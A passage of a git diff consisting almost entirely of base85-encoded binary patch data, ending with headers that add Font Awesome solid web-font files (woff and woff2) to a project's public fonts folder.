z0U08r=&H6Fv^k4hYi`lOHZ=6id%@C(JOb!Q8;k2^AW&u}LNzURNigeh&Ww+o7<*WS zE{Y0%1CooXR<1bStud=uosrQSWXS51Oq_winehf%erKiQTfiVlmowNB2NziQ>f~iP za}Hz@t8$jZ7u2ySwUHu=mQ&g?dpv2X-roA|8OJi)^ed5VuybZ*MG-YJi%<|T(?t;O zODQuFAT$f@It!N3DR%I|x7n;cHa!+-u#xQG1&($=F2jqtLFhr2$}mIc`Q}P61}|Rr zN3r-+MHsV4Gb3BG6}nOU&`O8ApjmSnWGYAKd@0j^&s;V|WI|DV#ZoGh)5h}bMPYW? z$+}eO$;8hU%wtM-vO-t-iZT%l`rXI&Z3B(yB1>31$du&E|H{KXrnb3367(s*p3`oK zXQ(!n{iJC%-EC9Dllp}_3g|?yyE^FeOrQ|EgJCbYEPrZ&-VR9R3`o9Ae~Zlu)X^J* zGJ41~-)wg1&qQ~c=HO{MFVN-xX41co*{47HH}XZpd#DKWfZR=Gq4A7kP7&6=)ZeIh z>-^ax{LQmYVXp2|{eI1HWxqaGV9o~w(#YUHs|}U@Ej@Jg)el{b&b`-h7fz~;Z)lpeZnXW z026TS2BG{kvXT6=VYKwT@o-c%?%vhw_V122qKlS!HJVCaSs{{g$k=ySu|zGNc9U-Y z9mITv+p4%vKg{0cqLDLN2Hm+4zq{Yl@s7g2TQRzWbq%edl_Qy8u1TCOAjHX$iVZWeG9fu4W57zT!~L+`_cR z&q|p5xAQQ74j2f+`Trt{rX&)KF5tmudr0W@d%asj6kYasEmPcaqibiFW0`sgRlLq*WPsH)~U2U;nFU6+l?fhi5>1t zqqj8PJblv}-f+{>>b};t!r%{6*VQy*@55@LUUxhDxh?f#i1h+-Zs7Z2?-62h8el>V zBYLRfO>BkOVuihENYJz8AuI>oOa^qsT?*a!uPr}eTdnehhV+THxIZIHF{e;&=F(IZ zwX{lZ*7d8E6kuWm=m^^gq5T;uKUVhEN86aD9}UbH-HhsggR5Ibr(`}^l(!g%Z0Mrvnpf%9IVksO?02tp$B ztPQV=vsedz9|K-g{8zDtd?9KO^2d(ArWope05)u zL`PB-@h6fY{e-Tx#0g8L*g8I{4&do*?RbxmNQx{aB=K7!`6CrskzSxei2oj_+&bPN zvoe%V(xP*9q9tl#UZjF1n(J(;Cpcn35QyNo{-XWIJ6aXAqu7KKjQT4Wo-+ePun{V1 z^WGkwg15tppiI|X(Qg>%`U^>NiN?s+Mvg~&Ph7`1-gUi7^!P~4)V69eADvZ^Oipnn zaxxtLZ+f!QdmX#Obtii1$#>C{)!8VEfjRT5Ge6=5^cgNk^m#TTVC8~AXcQP8aMe?o zJrE*STn16#5&!1~<=k|NmxP_^T2E$sp&Uw?k%BW^+?jPodv>cKrN7w>Ao4Nc=@ny3 zq~A_W=aTW^sA8*={p*s6$@Drw=Hp{YJ3G~@Uk=prEeu%Q19d_HY(?@_+hp^hqgR*a z7v@W7@%Be*6ra8Jh`;{L#(@rqeq(?b!VUV-m0-N>LQA744Ty!4cVjd7I5ojc<23VR zA=z9=7F4A-nXvoc_QALH+lk~f^z+?;lGy`N4Z@bGiG%Rwg~>!|W~P*wWYD(5P`a(Y zW=LO`$ULl*7CW9r3IsKZlIO%IjhZH^FN@$PwMc=6C$X_Vd8*-NQJOtg1n{C;vomSiLwN(SR^#!@I9 zdluu2Zqx7r8H*)VaDw^UqZEaB5TY|`ZJ0Ca+1S12xYVrAREEK_GF+Jn1y&vF^$kbj zdl;79p7@cEcIKaAadLM9&(Dx|vzu_W+qedIlH&$^O^fIY<1M6a8dEw^0yi`o;zbU) zErilej|*7|cxSZ`N5NC8naeii06k@Al!qefN5Opl1Sr#cu zQ^t%MUpIz~*57zimXmT!_I_rA#~R?8e_&=5MN_FL8l6Fkg0#qn9+Y&5Y&h>{V2qkS zRwm(!lTh9lxM5QMRp5w+r$c0@r-|OMncKzf1N?X@w4zot9HKKqp%a0vzqbBp^eug{ zHAoET{Z%Cv#2oJz`WUPnLO&N(La5Z{f|j$gW0r>Iv}`InB&w!lxS66XCj2tC!oKEP z^(Y@c9WF=pkGE>*vyx?p6f3KdyINyeD@X3CTGow{sY!+?7c*|cFQY5$ds2^<$(?w( zr&sgVwx2=^WZpRx1q!uk1#@x%T~sJ$6^eApR&Sb1Knc*^6MNC;uSMLoVmK5=Y-J>c zF%6)=xcO(_`HrINf%qDlF=?2};5Djc(7_0xo#hT~WH6ld(!dF%CUwiQp6B4d;~bi2V0a%4<^y>qVwyG}S!kYS zj)@^~QM{jxZBlq^yUb^Bg3z0?+e%tVL{t}|UzB3L0#55yhJ(bg_+_-~*kE+mO%LsM zvspJiF_2Eg5_;ucCoNYG?iv{COF1!Ka4DLtW{7`P%@fQ7;KP#i={AL@ zzFsS}ukF+Qn%b8^4K_WmypYy~&}{P*nFwDyck9}@`MyTn=SuObLp1m!d?RFX9hfcWd7VoWB zqURsAojJ!o$zF`zv6XRbbk$?F122jE5?$p}fz6g5BIVh>6t<(wGTI6J3L2>wIY?6h zcSOH+qfa5`t1>yfVHI6|*<GK2GQm+;UCI8J; zEo`fESXoD-vmsdfc34pTNTANms3S4?@+v|vO?X$$v;|X8xzo6qp=8n zo1~<0h2CzOLz(St&~fH0%ME&|=gs~Q_i^rv+*90lxqszeKAyw=1LczyJ%m$bfFh5p8N3Jif67|Z3Z5S8W;T7#q&LFZlxP|eorgRop&soA?5sQ z9O36nD-m7!`g}I%4ALG}?JvG`f#asDXg=(5r_2Sv)wAR-&UEi?LL@$VnDIS^k56SB zAN`G}$zu$$9dLR)2)2I2pqk<~sR zYG~Vt6g=KKf58`IB+vf)G#3GRYd7_g1h*8=jh#WL=DhfRzWs%3;MGOljlAYDdg*6RZkMz;o?$@OUBrIL7NXJwxmC+m@wQ0WUp%gzJxtUdt84*y? zQA=*7S~^Q@!{>8c1(I|F&xM^tU56-7^h+BhkfKS8&6gxqx`7u$@;I+3E`agS%1Xy>%8g2gjCkNHhs+zBK%86ct(ONwSsqqC{)K zyxVA2-7W}<)Zf3^DoChL)OfVn_}mFY=t{W#ZNzJ0ACd~z=Kg+35rplkEf^<0XS8ew z4aiZG;)b|M$Wn8FW*lxI8HV!^(NGTR_0m~%{9s+_>RjBD>7`1M$TtoPXKySLUcXcA zQ^_AuR^d1J_jp@Gcmtaa+*~752b>(DB%ykp+~#^X^&3#$5-7*XNwD~UsKX4*k#En@ z%QL>r{}k9wqAVBYU^msPxr*eQZ;PlchE=+SguGI$(~1QjaX4Z+Ml1YdlXIa>gT*b7>YI&c=_!RS5mw1GL-s zvfhAv2lH^v2d(X(;5PEteq7HjXpF+zGP4ky>ht)6`W( z;1_iLP2(%|FACHLV!u|S7Qb*`Pya&8`nU92`iC-p2b-sX8I0F2xPw5WU-fLTJ|Er( zz3j+WqjYU|TMH{)$FnPrf|pv{wB8z;jkb_R{}fG}A zh(ayOKy5*MNYu!yuMSPGS|gjhCYgphuv(L{{UO5$8OtVQy`zVskRkPX^oROHQ7=zN zX$E^+lCU^ci1c4&&|93PuTi(-Q!qiHv`jyFEqy)K?&LV@HX42{eMKJ)d?MQKX5+W$ ztlY{6!g395CEEE_ghRAPq#N@vEGR@;(E)VayyE>9S0q2ojfc=5Y1!fzT?~Xzx+_x> zRL$l~+42x|(i>V!%O7lIw8%I>{wXcm%Bv<#Gqq{dMgJg4r^(=$m!uKNlxmNPrnCr> z^QwM9j78ME#S59$-yFAM)*LPF`616MsxdHNs0z>jP}XGg-fe$RE2i)iZIl@N90mFlbE85lov2(cO$+oG`o)fC zcN8~7qV|v-jcoX`f&^=F=C*g;HZy6_WmZ|@aXLF$+f}T-aZ@cUO0x7J*ZsL=7}nQC zmB>uxPvP2DD#p(Crh-*&KL%#fd%%p$Yh;WOVv|KsI>rsI8C9%#O6`v?1{ruI)UXQoRbyxN)B3R5{f;GkKfha)IRWPp~o>`a&1K9Ulmi4!Q zC4SNKQSt2ld5GO;dsdTX(6x^setV_nI&rt?XIX78{CQbb5p5lNglUGRc29+_rmg>d zH=$L5fR`>=)#2<1*0-lpA(bE5Mo zNm@Jt5hpY^$^Jkb5sPOEzU@IzvZw16tkPQ0i~E(b_nYY+CM^EwPvz;o({hQ{dBTI6 z6nx6Qg%k$9nUvu-(=3iOd)aqk+B4fdqteui#77%>Y4^<-H;mqc7#~DK4NNZH`Xt6r z(tn^7o0-`ST=AH;69eK0Bcw@>kIiB$Rq=b+9v^5Q?0jsizu#dp6F3+iKlZ}wIkxi z*D$i3nmBcRQJ97ffxVQ#f$mTTL8soXq60W|e=67fG~HDjGuMO{D8?5eqNfZA9!{Ll z%@_)4a_~A?BY$Mq0)>ToV@#7t7Yn*Ask%bfRTPo*>Hu!XhBaVq=_q#x_aNyP4Itnt zQ{xHy;weo=uIw$x16l58$wgXP;W_Im;)Gv88wzIMvzjaaA$G$tBSF*Chj3SE%E&GtgiRBp6FlE%@FH*Y`4v=e z-_EZfZ$lLMcCGnLC~e@+>t@&uXMRa%@uOr|(qA$>AN95&&Cn^tBUwk(k3@>aVj_Aw zFCq3sB(X=&2Jh_Es0>15t+He+Q7o{%+()@jQoI&_O~0rxbB^O>nP5mrG@T~w=jnbT zqd@9R|2%)2XWP7m(r7$4$fOzi{bIgovuvZtaG4+>p_eQhw5`_3t$g%;=m{?Z?frSk z5eTt0kgaO?g`Pp14C;-%txB4Vidg2y1RJX+T7zYj;}u=TCdysBW)qJ-t6IFJEnxh1 zs1O2h4OC8N({i{kT*}`ph?=D-W8d(PZv#rwd<>qu1e81?%@A^kD7fyp@I7lfeT!yV zTIs7Q*{Nu zcn!KfDN)I$H;Z<4n;UL-RCDj{qI<8absL6(h|AMsHK~h^a+z+H}KL-a}}@ zD+!6HN@7pnnQkM*m5#bCb{SS{@VkONw|Z&LRk|7Hnm``(#yDm z?YS#^Q>4&hpq*am{{CW|xj8v`#sq+I|gt4PgmY{qv;2_TSlm*g_ z48w#hB5Jam`!swXP~JbFJpdLCBo9R2hqw^Jmi38eo|r&GNvN(QKHq>Nak2%ErYio$uw8S-hUx6AzO#qbgDr(HGT zA<8XG3ELFTe8|SscS*HFapT;FPs0-~g7T28P@$-vEYzP!Ts}aDt@Eh!nr^r3u&;-K zzcR(;fan3pTCET|)$$NlVAFH@4d?>ClM6(PF*GzHnDQG$goL;x%TkD$zC)6vNWSwg zORV`UEZ2|I#J_c#>-YQM_e(FdzDK9`_lUxaMBo3{%dm-IvHlmTLNy*Q_hgG!l?iX! zLp>GqtjT#l$7x5C**u2a-EBy>Wj4gQ)VdH9+o_fD9=b*lt605eJmAH~H$JJCrvl1UcGUV5x#Sv!#^ z=P4lMPC-)|iYDxAS3Q)2XA0&xTTmkmE?G!~Xr_gS;n4O%k{kj1$K1GCFljo4P~v`3 z6SoSAG%z43!q(tMTaUdP^7m~a`ragEy=_Y-GiuUkj7n`qp{-c(Xh6$nDZ`^}Gm<(Z zYiQ#7)e;_}LHikgeK!mL>L3mApHZb7Z|$3z>05`^@I)*6&Fz>PD?d+87iEFxZ~j&{ z$A14km!KPhO!q!x<*>}(CDHZ^GP87|k8+9rzId&xvp(M(q}MJ{ya zDfE(O=ew0=NA&H9;1fursB*@Txb|i(zw7 zC93H0*CktA$?nYo!MR;Znw6uwH;-jhQ4DXn=AIp9QkoUTS6-id;l(|)@$actMdSG{ zYT+ja{hnQqT>*l!Km<--hW4Rus@|{UyAhJjcDk^&Lk(Ly2%tJcYh}VfG&8atXc5z= z-wQJ68IHkGkOFb!61Z+?tzFO|&y^l`B9>?jj{)Vm6Et8Eq|yIkNGu?SnrFU>o`Cqf zecT*(qaW{Ag!F^86>>a-`vr@%b|vt(hA{b30RmTZ zQwTk1#ol_w{y*UP@!8RUQ<1wNk|1N)6~*3XCWM5gX=~Tw9*hj4Fh`H zZlx?$T;J6;Ty`P{E{;ZYe*H4in%C7Z`e0byuSKHGr-v&IB5T*9CJmaaqpe$Wq2@0~ zy2)y9$g&!tTxR&%lMB72i&%Kwf@gC*0$3<@Hi{7;tTlf|_!1IK0rUKFepgNAQ7V-w zMacYFoy~eaE_V3k{;Fz{3k6;+7(Hf8JKWumRU_#)O=Z3YzvItf}3r2MU%iqgA!Jy*lJ>0S8K z?h&*TpXD`?lP$-*kw>wV5Xg6YDR%|;8SabRUwRRP-iV65e&wj_dmR>kS9fHuJm0No zu_dbCn(hA)%+EKa<1s@vBC-*y7!jjFHX>v@7Egy%!%#zT*bD~_ht2lk=inYUf&el1 z`XmGvK>z5<4d`fJumN4|bKoXrPuk%A4+V{Es{jCaoMT{QU|{rS;%QHm*No@4`O3h} z!~g=f=5=X6Y5o6i{%>KL%6JyYA({{RC6Q^Wr^ zKyoSrPy`t;KLr4hOa^awoP}4*Z5uHVo!!8&FGhs;5COStDJ;dul)+MRP8C~1N>Bp< zgdk3A*%Cu?es8!kB4EJfayh>@Z%EA~zwbmdmDict*q<+RqL0(6^C;6}nBUHs_I2FV zJ#BtBr}EakM$1#htM2VMWn3@k zCYTG$NfK=H_>eqTIn+>c8Ts)LalkOdY&4V z17t zk45bS(Rdk)JK`9|x?_FEAzqDhsdbRLFAv5w!MxhNG~s&SXP%4yL^p~}l`mI0oIP)y z|JgBc4nzHLZE}t0@}}SXPsH9W05pOm0XeGn0#L4JZmn&Ug)3QuX56T)(=*<+x4_} zYAcr~=UqEP7}wt0%pa&z!KL^AK{l9#cYHog-<$(7BEN1u?uHLb)qQWV>a+Srz29v5 zJLXt9Kehgy`q{|&euVzi>MNTcyV!FrhLdvI`U!c@F+S*A@jqJJp)QrT_73-{kE%oc z(OMb(OaAS+*LiI9qgYt^J*vRw1nImumWuyVe&pR7L1lm}g{R>Pg4;-dTZwNGLmbKFz;@CP{b)@r|Eb#DE)%1^9e zJ8z)I%+IktFph)z&UF>|PIB(7@m;_%*4Oy|!FwQ;-y6PR9cAEC9=OE%UM;2{^*QK} z`vlaqpF6c*DeeckXQz5^$a2=xwnlBQ+UWHly*-y-h?AX1-CyZ@sY?kx2lJGmZqkr9 z^?%G0xi6FP-~KCTzqsJto_&y>D){!ZQ29gc{?xb~{(qd=hw@i*D)=n2{sQ;MlgD6u zF?)C)F&h|P$OUr)>T2;??R%FokMH&0;XjDw$iI2#-itZU%*|Qv_~r{>lf)+!f;%ME zPt3m!|-DoMqR0m{;Q#2k^D`DT-7oluD^|Ar*}pRFY_<%Sbd` zbTctsbvIp27gR!O%Ag2??m`G1k|HFfs0g7F^5_skhx76Gnde#0{_Xc&Yke>4{q6mm zi2wWRAXY~tl|^5%E+VZI@vq#766GUG&WJeSpV%33VwN}@QEGTZY5Ap(M4YrS;^gUK zUqqRO5vRyGWkp2U?1*wr#PNvoIbuu1sa?gKhzccy^@;?zEZ$_GyPAPKS3! zDIvEqE|uj~X&Z5-wKLa7RLzU12EW?oi0b03qKF#SYOIf_nIYuYr0HxqXWOq;M%b^V ze=VGA<5n9+?Y$9oS_u5>;D1g-kuP>f)Ky!zP|#b?e!Zg+^{qFM(*Umq?$4#?Tzt-} zCiu{Bh@kU)`p#by(FpfO+aem%*qA3xG9xaqc0obJg=}xi-=;Wa$j`txgC`fsZH8|% z*v-^7$1f9?Ogt{8;ZoNYqlNsIxU}R~EBY_v&t-gUU0TCd^LHOCwg^&R1L;(sUDo$2iiD;u|L`m=d@ zE#JD}a2@?!X}`XgP-slb-m46zFFt{JdVfX&2YSa6YNjm=|nS_WPQ?-h{-&djMHR2Z`ZHD3=3#1a3-g~ zn&O;JwKi4lRQ;yWG##($a;Nk24(IR=dhYbSywm+%e4Sy|Gt6)%-)5QFEZ*Pke9ku0 zd(_^`hx_<)AFt-jthABfcqlaiu8Pt2M^No zuzm}9w8*>`(ewx|kLdNN87&r%ng8RweO%us)D+|Vq?#x7eTtr^ad}$)622@o%Vl^j z!)v*jFE5T*fy+ucEA?2V_bT2zWA3YIT21qF>Ylgvy!AC^^n&^q@qEc#UV^`tk8AOK zS?$X-ze2~W)?USR9lUig);R~Snf+__U#EM$9&hks1Kk_U=1sB5_jZ%Lw`hHf=WmT{=}L3)I2}s)m}b+X74i^KZo@>JzwCp&;CAK zzl8TCkH50^HH@$A?|0qryLQ*9mhZL{==O9bS94D_7@NT((CV| zkwjZDQ5=gT&5EQ%hL|2nN!OAqA~|7nBq!DsOCl-NM68LVbbWC=l9Luja&kkFFOEb~ z#(tUMVy&=$ikh-&%j#ctXC&q1mMaiGm)E2G`bbWNbE^CbcvP@n(Y0ccI2=i(9AWRY z83NbSH%4+sS0S%*3sD?Nl}eGESw<8JHC16%g2cn+NE*`65dQgjfvL zX=&nmfj$?)ZYs~aCdr^7L;q&w1#g<;)Lj2ezGl*NF`P?Ei7k;_D!&CyE#Qn-Y`3oZanCwJ_o<<^mW(2hrJ$p z_0*#m9o`{HZ?%1R?cI^|iho~6}Zy20myu6jx;j|6s$B0}((@4BW(mhJP_eJ7;k&HPM z$yk2e=5szj^6?&r&p3JG)s5GG0$vmOJ_+_@KhGxPJ=uA>o#zGk6`0QydZy|zm0#1~ zPIJA3e|N&a3)dO+&EWA&`ey1q%UPSP|7?Bk5%2K{A(DbNN0Gze4MU zaOU%O0e%lS^F{nFqWeL-AL7qLe0f;z!#FSWc@g|aTpz_@vHiv7^cc)1oVzD*DaNUo zu3~5TDQi#Dw?yxydM|ZumpO;aabJPQ3O=ng?^QHEqh__f&*Ji&c%IfZ&h!iXe~}L_ z!heaLwfev8{uTbciu*dB|EI8-?$@h-L(dKLY~cT!_TS{uM)@1faT86O z%i`RSRvW0hB;Jt5sEACtM`GD3Bc)X2Ie9cfZO(zGzr5-lPvnHA{?Ya>0; zdZ{{*mOdKkN!ubVlNo8*CSqZv<>Z&!9clR)k)B#c9Er5T-bgF%_b-S(r)7x4k)B=@ z=^6U@Um&ewt%{s8S43L1wOA8rHM!M`BR#9KuvcSrq%~ps{h!uSQwzV^>gtpiizBV; zzTT2Z>*LcPSHNf}x1k>A&xy2Ahe#Xa*w}uP&5>S^Bj8=Au4!MfKGF<%7nKr+B5hVP z(&qGJ=0|$*mPjv|9_gj@wD>0qB5i5C6)!GR(|TQ`ZScNgU!+&Ijr6K&k+y@CrB~Lm zNZaQ{dQC&2ZwGuj@~_j*NIUZ&yH}*wu8y>ep4Z`fozGoqzn+gb@Uff7!K1tN9`yE< z*9-SvxcAnxH~zh8?W3j-ulvF6r>4J|^ym3abm#IYSN;GV`VF1lf@>a*dBY`aY;&h+0001ZoMT{QU|@d67{H*w00K-v%m{=G3=UvE0{|tN0iXbQoUM}0Zqq;% zg^%r|66vNtG$^QxS>;D+oF6x+WJOgeV!;NrLTsJHZLG!_%bq6c10WuQ1xpsdGw=W` zSnv=mc>#`{E7~AhffQTvd^7j@oO@>mz`peg7M9OrJQ21~!5d*4MSKu;pzu?;fQt28 zxQMFtNq7TgyC_`3fjt-A#3TEg@D_HRUEysM9Zz@%6(@cq+ zV+&op6t?O1PT0XSd=@UCYdsV$;)OL7-oSzNUATnT_P+2YT>HK77OM6S;cb+hn(z*~ z&Qsw%RGqiNW#)Xr2{d9{BSDA@OklWcb&Sy9IACm+uN-5604e7YN1W*RItec(M%70R zHPADoju%0yBgXFfNuifZCgf~(%JnHt$Nc4%fao*y3(SgTr z`yRJu&+T|_d)+N~d^@>y8%O!>-mO39H{m?YGy1vXP3aAac^$XiK2r4+!+DUTp`P{C zvV+D=3#$gb-^DloEMBB~S>;Ws{EYV@t16QiqDC1-8O<@PJ;z|%KrMn{Eme_Djf!=AHT4q}j`U2Wfl>Z!tc=#v%g``8yOf4j zDL16W_gs4OS9)`E`-thr#A(0PI%ik@vMYC_qklctza8az?%{oxWUaOR0^NPOM-R|n)nT6Xk2kmg8#BmabnVA_iQqM>?qEkydHy38dcF197W_FmFnVFfH z{#V_a-Py~3-*=j-megvfdiAP$*W{Z0_up@>owWA<{G*@XBG#mkf`k$+(H0%i6+O`x z12GgMu`V{mrq~h(#I`snjuXd=6U2$)ByqAhMO;8!P+Uk{SX@M0RGcbK6BiQ~7ncy1 z6qgd07MBs16_*p9xV*T6I9*&(oFT3xt}L!1&JJ&Esp4tk>EapUnc`XE+2T3kx#D@^`QioQh2llx#o{I6rQ&7c<>D3MmEu+6)#5ec zwc>T+_2LcUjp9w>&EhTMt>SIseDQYi4)IR$F7a;h9`RoBKJk9>0r5fcA@O1H5%E#+ zG4XNn3GqqsDe-CX8Sz>1Iq`Y%g|$<~7sZ#vm&I4aSH;)F*Tpx)H^sNax5anFcg6R_ z_r(vy55gCGRcoBkwEkCw)1VfefXV6FHTU zjO8IYlZi}aCUaTH!?KiS?cBAqWhHC5Bj@snT*#yH{_+9xf$~A}!SW&Uq4HsCUHNeN z2>D3)DEVl4mVAsnTb?7&m5-H=laH5AkWZB7$tTGt%csbv%BRVv%V)@E%4f-E%jd}F z%IC@F%NNKO$`{EO%a_QP%9qKP%U8%(%2&x(%h$-)%Gb%)%Qwh3$~Vb3%eTn4%D2h$ z<=f>u_VRZv`q);I69tApcCmNI+;$P3(y7WLUdue2wjv;rPJtQbaA=_U6L+E zm!`|mW$AL{(dFq1bUIy;&Y&yNmFX&UCS8@TMpvh6&^75=bZxp0U6-y$*QXoM4e3U7 z@eVRT)pQX>y=jjXdMfwtb znZ80_rLWP~=^OM-`WAhgzC+)o@6q?^2lPYw5&f8cLO-RS(a-4@^h^2`{hEG5zop;N z@97WpNBR@}nf^k5rN7bN=^yk@`WOA1{zLy&Yf31oNGa7)ZPig-)l+>nP(w9R>uN)7 zsx5UuZL5RoICZ=_L7k{hQYWiZ)CJT9)rHiB)kV}r)v4+)72H#8R|;v%IYfWOm$UtHFb4$4RuX*Ep=^m9d%uGJ#~F`gSBs~8>$C)L~UBqbgOa9W_@+)IuFq_g4>44^$6Q z4^|IR4^XSoJvdc=ZJJM0K8el6tawih8PgntHl= zhI*!YmU^~&j(VZ;g?goWm3p;$je4zmoqD}`gLt^;UA;rSQ@u;QTfIlUSG`ZYUwuG*P<=>!Sbao&RDDc+Tzx`)QhiE& zT75=+R((!=UVTA*QGH2$S$$S=m zNxN0#C4M>8vWhw^$EIopkq&09Do(W-xOcrGsm-vF(>SY5ugK@R^zzB1ZQ^O>ClusZ z+dS2+AjyN7Dsw;VhWR{8AhhCaoF7r84s&G|SE zweC_-MdB}7g^x|c?&U>il9${*w2vo^dTKoL+s;DnY+o1mWrLhfcMi2;xb6| z(C+6_vAe!htRXbY#^G9HzUaZ}gE*Vyjoc5)+?dFZOG9Hn>-%My&+TUiPP8BGI=L>I z`@E+uyjAM9K2rEu*bVZuD77&M^pPO(Q-9@iY8p>qE!v;JZc9yip?mo68Q6PtaP|4B zjQwny=oXeO!yNoXXQ5xRwY5upB~Lr}PRg5w?a6f2UoK5u>@FFPtyAi1t~E9(%8Me- zrd|LCYENK8um|_!<%Q0A0Vcs4R}P)Ad3dwTX{HwnUSYb;_e_tS&x`zI(yO969aq@l zHl8e^MY}Gnqa-@bvzGOPp}l(MaLr3pXY4A2pk%w@k%UwlLs1Arsgoqi%WM#6xcwv! z{7P>|n5tLgur#;&8!HXgAXfCcSiQ@0-*Q{z*4{pUU|);ta$i$j?0?B_?=;EBx;-y- z1^}vjGc#?#4*aP%E@M3je50K;7~Y>2xDOt zlcbMj)d6l1k?w8*x=w_#I>8#V6Ybn#Lja@9D3g~}k1x(wS}xSS6iAbUTxwn zUe$TVeb?fg-HMH~TbZ4`c>{|RYBK|XwG+SKAG;Os!W?U_`-khiYWi`aTW8EM%K)9u zs#+$+v#kj%CZkkGohclyK%{}MjdM7~I>!>v0+)uXbg>M;H$PDvD0-zXk_9X+S%)(@ zxUklz0AR&{AMwV(h#+EjgB2*Cl~dF9(Y zr@ZVt5MfudpkaWZeOOdnnAmvHp19Kow(QxAzt|ru+>ItYIHeC9T((dO(L5P8>7zhDu@O)9C$X)cOu|^UM@OJBk^F*B3er(KK>&>R0)c(GmdPTZ&m{9J?(T z*KngGH#+1^dk|-B0P@^l499+j*B9Od z5O@4i0TTdH@U}xWyU#Eg+gK{i-O*ClX;CdkaD1a3H$o_lJuC$rewdG$WP4K(jAFe} z>ddNG(Kwhb*h+0WlxcKnBeZ82`ZuDyE?uU^jIdhY(|J6jJryg^+tqrOq;Y`gJG#b} z>3Ez8VuL}Mfz^`uC_fxJU1>u1?W_4q5Gtb_p`C>-w%{k$z9LOTDLB=uW|t^-5XwR7^eI?6fCGB4>8)n3@yr5JYEJVlX!|Zq zcuQRL>_Qz%3ruo`_`eDeqjK}HduEM0TXm4&-AOR`TXy$Khz$dRZ>^I_l&$8icuQoJKZLPLhgKlG$fykiE$oY#r z1hK3(=2%b6DFwo(@ln02$C=gF8y%AXZ0Me4G{EknXR>?_&V}j2XEPHgY;k$kZ8Xzm z0?a1Rvp8wF2bTbB6C1+Z2b2%(@*;`m=7Ck>%s$IC0~QFqwr%Jz%rydh$hPXN!_))v zHXLo*U>;*UwBdPzOlZ-YoYcXk#~1?b1J)`tK7E$S%PC$ElbAx2uwP$ znIBIOx-ietMTYIq1!$WK=(gwugvT|UbUT$1cjhLeVdJ~T?8xB==_2D?5 zCk}0rgsWc04DA&IXCxXl3h#K|$urAAoS50tkyAjLvgYx_wbohFTyi}s1O;TeFq-7~ z-p6~>JegQ&5HaOncmG>eG&{-|FtjV5P@VF!rYz7T8dj`7LJN zi;=y0@Okir(DAsY@6A=knhx?CF7(CWaG9-I0=}!5MGEdUXu!{I83#?X?4(`r?5b7) zOETNM#Y?EiwlL{E;s0r~Mo<8sbXeo=h`EoADqJw@m^9~I?3e`;O5Jf*X9g=csdi#N zY4OGM=GcUY89;k(YlW>NUgcshkA z`q`{q#^Z6GwZKp+-8EW=Z2ZdROg63d=A80YU=<@<8Sxk)*x;R(<~z(cEjM>F?BfOP zS#Gkv^h?TIxcJttu%qr@+7U&q%PV$#P7K-EJ1N1 zBKje}VYe1eT(iR)#}xf(BgC#F!{0rykCjNBUN3}L08aw4k% z6EJ_EM5_e)mFxBjOGuIU>2TAjQC`MJb99n4_jkCg%3x#=lz>*i8$Az8rliQea^wbl z&|q3-2CN=5_`)vNa%9O~ZT*=uEkEUiD`(;}(MhL5k8s*{13-e#U1q>DCUg5735B3e_gacNmM zfFo7l$Lm23GKByF>~O_J3||l25B3C5!8>TlL>NykYTM|HMJ=LM7#}^l*bGa5QrQZ* ztM;g{tkV%+kl<*5l%EY6>$4c&WcC?|K+tGQiZW=*2TT(NO}&6+7ii*aCx@+XuPUA^ z2yMAy!%8?vsP%yrxp{SSwTThmjf5p0NwH%8BdagXe|_(SjwfI% zEk;*^2pE~TigPD|XIAyNgOkYpu&KAv3Gw&IejDCK4+ zk1B{pI{;S%7)Mjr9Xawi@jyT8d&I!{yB~8<*YKze;lnQqN79sEDBJT64GfM`|Jw^xe{BjB2i zmMI@_fjjw=NgR0ACq_%|lmQ6KhDjAjXX-)%hG3adYa9cRM}TWA8VAuh)hghs?H;#e zfZJFeBQ|==p1KZ0ECApo@@J)gU|$Ks<74e%b5LpN((=@jOFg4WonZ- zK`&F|x5j?t$LbI$+4>={4^A`Z5p(d?%=gEBd&d0J=Q?u8{?>K0c*f}+C!9%PK5fHfVXW&MI&BfrM&M2e8`XK{s_lWgqwipwWi3Xsy6m5 z<&!=?t7kE$5&8TV4O|CoM=?{17H2^@khw&@Y%>}x0M}DGQMuU3VqdZOcI`0-{BM+L z5Xy3fP8b4mcEC;vlVNrOIKvifTEgR5Gh`<=ZDe&JTRB_^>AI~?c5IB#OULX%)PZi{ zaHq5hpC!nOGx>o<441#HH_HX5vT6I?>hYAbW;I#dZdTJ4v^X8|cNXirD{LR>h9IKA zjH+u-25aNDImg3*_#n^bi~zSDoZVxd2A=5iAFIs!r7l2}xHhOj>86{NPVt6CXOBbP z#%e>7&$~N(Xt~gS%jRin?2i{CzSu+zBotN>=aJ7_qQ*%+-TTvo5azzC%(b4uin7pR zyKeK_d4>B10ZdQ1f?00w)jM`;Ph4jx_~vLSczn9p)y%rEnJxYc3ebED%AkUnee>5s z@N6^Fi-ykdnOmXzHuUqEgxTH`_o(m`;l(e9HiUa)uG?pW$QB01n$u2eX1pO`Cl2BO z*+DBt|9Lx&VM$pht>M{u)kAU@Tkjq1N=@0%lH{~!u$Ty7m0sVKIBAMH#?=hECQhx; zF*Coi#yN{QCw4y`&?w};fl4?)kx7B&Sw6RhXR82EQa|hRFXHMP;0{-7I}7H(mly>L zPP_J`mj6Zp#5>Q1*5R8X#bC^V3lS53+~$=vY{DRk!SabEbnlimg0e;ohUWvrj3zyu z_98yU2MsS>(x1j*m~a-z#1w9gL=rAN+O3?hJGHTb0F55wN5GlIdK2WD&$J3yU5TWK zPo;Rd2LXH&>5s9lmd#`OPR#gkRvOt< zi-b=Xvlep3%=C6Mz|GY^YFX9>tK6OVjY|0H4kx^bXw~*H$FvU3SC4AB<>0Z$wKh}P ze`L!|$NkT-t*sd!b9C#<&jlau*=(t2GYpPy7ElAWoW;hTXgNsBo)8T|J1}|7BwHlR zUVJdR_QbCPT`>s4pvpd%jVch}S|8k3+G#edIn3c~79P`gMV>h}W_$OPVI_^;Yio3C zg%}V92iAPtF?v&(*=uFIUwLUKM%vhSk%9Mq*cg*-8CaU+o*6X-CWk!(M|W-KL#`++ zC)2Zv$^By36nX92%C#&j|K1s=Z|vHf>t*0{D<4>mB@HRH-3;v2wREhk&Hn+P(f}g> D#gX8w literal 0 HcmV?d00001 diff --git a/pkg/media/opus/public/fonts/fa-solid-900.woff2 b/pkg/media/opus/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..978a681a10ff0478581436eaca5c5695c97445d4 GIT binary patch literal 79444 zcmV(^K-Ir@Pew8T0RR910X9?s4FCWD0~d4v0X6smO9Bi400000000000000000000 